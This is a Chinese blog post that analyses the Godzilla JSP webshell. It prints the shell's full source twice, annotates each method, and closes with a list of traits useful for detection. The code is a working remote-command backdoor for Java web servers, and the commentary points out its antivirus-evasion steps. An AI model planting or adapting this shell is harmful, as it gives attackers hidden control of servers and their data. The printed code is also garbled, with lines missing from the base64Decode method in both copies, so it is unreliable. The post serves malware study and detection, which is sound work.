哥斯拉jsp馬分析
前言:
這篇文章分析了哥斯拉jsp馬的特徵原理,寫這篇文章的原因是希望提高對哥斯拉馬的識別、改造能力。
筆者接觸安全的時間較短,難免會有疏漏,懇請發現問題的大佬給予指正。
哥斯拉PHP馬解析可以看這篇文章:
https://blog.csdn.net/zeros__/article/details/111521314
正文:
貼一下哥斯拉的jsp馬:
< % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[]cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[]x(byte[]s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[]bs)throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
public static byte[]base64Decode(String bs)throws Exception {
Class base64;
byte[]value = null;
try {
base64 = Class.forName("java.util.Base64");
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
String.class
}).invoke(decoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
% > < % try {
byte[]data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", new String(data));
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}
% >
分析下每個方法的作用,每個方法的作用可以看備註:
< % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { //繼承ClassLoader類(繼承類構造器)
public X(ClassLoader z) {
super(z); //呼叫ClassLoader的建構函式
}
public Class Q(byte[]cb) {
return super.defineClass(cb, 0, cb.length);// 把位元組碼轉化為Class
}
}
public byte[]x(byte[]s, boolean m) { //對指定字串進行AES加解密
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); //獲取AES加密器
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); //指定加密器金鑰,進行加解密
return c.doFinal(s); //返回加密後的字串
} catch (Exception e) {
return null;
}
}
public static String md5(String s) { //某單向加密演算法,根據某字串返回唯一值
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[]bs)throws Exception { //base64加密
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
public static byte[]base64Decode(String bs)throws Exception { //base64解密
Class base64;
byte[]value = null;
try {
base64 = Class.forName("java.util.Base64");
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
String.class
}).invoke(decoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
% > < % try {
byte[]data = base64Decode(request.getParameter(pass)); //監聽傳參並解密
data = x(data, false); //解密荷載,遠控命令
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //將攻擊荷載儲存到session中
} else {
request.setAttribute("parameters", new String(data)); //將解密後遠控命令轉發給自己,儲存在pageContext中(免殺1)
Object f = ((Class)session.getAttribute("payload")).newInstance();//將攻擊荷載建立成class
f.equals(pageContext);//執行遠控命令(免殺2)
response.getWriter().write(md5.substring(0, 16));//對傳入的字串加密後取前16位,輸出在回顯前(二次加密),其餘的加在回顯後面
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));//通過f的toString()方法獲取遠控命令執行後的返回值,加密後輸出給哥斯拉服務端
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}
% >
接下來是分析過程:
木馬一開始的class X是一個類構造器,用於將字串格式的攻擊荷載建立成類。
定義的x()方法用於AES加解密(劃重點,帶AES的木馬不一定是冰蠍還有可能是哥斯拉)。
md5()用來根據指定字串,生成加密後的字串,生成後的字串是無法解密的。在木馬起到的功能是通過加密的方式完成服務端校驗,以及對返回值的二次加密。
base64Encode()和base64Decode()兩個方法本別用來進行base64加解密。
一行一行看儲存、利用攻擊荷載的部分:
byte[]data = base64Decode(request.getParameter(pass));
通過request.getParameter()方法監聽通過http協議提交過來的資料,取出名為pass的變數(即該哥斯拉馬對應的密碼)的值,通過base64解密後儲存到data中。
data = x(data, false);
二次解密攻擊荷載/遠控命令
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //將攻擊荷載儲存到session中
如果session中應該儲存攻擊荷載的地方現在是空的,儲存傳入的字串到session中(儲存攻擊荷載)。
request.setAttribute("parameters", new String(data));
通過request.setAttribute()方法轉發解密後的請求給自己。之後執行遠控程式碼時會使用重新接收的請求。這一步從程式碼層面上應該沒有什麼特殊意義,但是可以起到免殺的作用。
Object f = ((Class)session.getAttribute("payload")).newInstance();//將攻擊荷載建立成class
從session中取出攻擊荷載,用之前定義的類構造器X方法將字串格式的攻擊荷載轉化成字串格式。
f.equals(pageContext);
通過攻擊荷載執行遠控命令。
response.getWriter().write(md5.substring(0, 16));
通過自定義的MD5()方法加密傳入的遠控命令,取前16位放在返回值前面。這是因為返回值經過了bash64加密,所以可以通過在其前後都新增字串的形式進行二次加密。如果不知道前後新增了多少字串,就無法進行解密。
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)))
通過f的toString()方法獲取遠控命令執行後的返回值,加密後輸出給哥斯拉服務端
response.getWriter().write(md5.substring(16));
取上上行加密後剩下的部分,放在返回值的後面(二次加密)。
} catch (Exception e) {}
以上程式碼執行時忽略異常,執行失敗不告警。
總結一下jsp哥斯拉的一些特徵。
1)會呼叫javax.crypto.Cipher.getInstance()進行AES加密。加密時使用的鹽值是固定好的。
2)可能會定義某單向加密演算法,也可能直接使用MD5()或冰蠍加密。
3)攻擊荷載儲存在session中,會有一個向session儲存荷載的步驟
4)會通過攻擊荷載中的equals命令執行遠控命令。
5)會在返回值前插入一個16位長的字串。插入的字串和傳入的引數有關。
6)通過攻擊荷載中的toString()獲取執行結果。
以上幾點涉及到了服務端的執行邏輯、應該在改造、變形木馬時很難隱藏。
相關文章
- 金蝶erp反序列化RCE+哥斯拉記憶體馬記憶體
- Java匹馬行天下之JavaWeb核心技術——JSPJavaWebJS
- WebShell流量特徵檢測_哥斯拉篇Webshell特徵
- Java匹馬行天下之JavaWeb核心技術——JSP(續一)JavaWebJS
- BetaBot 木馬分析
- 菜刀、冰蠍、蟻劍、哥斯拉Webshell流量特徵Webshell特徵
- jsp標籤jsp:useBean用法JSBean
- jsp基礎-初識jspJS
- JSPJS
- JSP原理JS
- Nginx解析漏洞復現以及哥斯拉連線Webshell實踐NginxWebshell
- Free Star木馬分析與追溯
- 黑狐”木馬分析報告
- JSP入門JS
- index.jspIndexJS
- JSP三(JSTL)JS
- JSP 結構JS
- jsp forward 指令JSForward
- JavaWeb之JSPJavaWebJS
- CAT:哥斯拉2030年承諾與實際行動報告
- 田忌賽馬博弈矩陣分析矩陣
- 漏洞掛馬網站趨勢分析網站
- Jsp+JavaBean模式,Jsp+Servlet模式,MVC模式介紹JSJavaBean模式ServletMVC
- JSP_入門JS
- JSP&&EL&&JSTLJS
- 第一個JSPJS
- JSP基本語法JS
- Java Web-JSPJavaWebJS
- Cookie&Session&JSPCookieSessionJS
- JSP詳解-1JS
- JSP筆記-sessionJS筆記Session
- JSP condition練習JS
- 黑暗幽靈(DCM)木馬詳細分析
- Redis漏洞攻擊植入木馬逆向分析Redis
- jsp的互動性JS
- JSP自學推薦JS
- JSP註冊頁面JS
- JSP基礎知識JS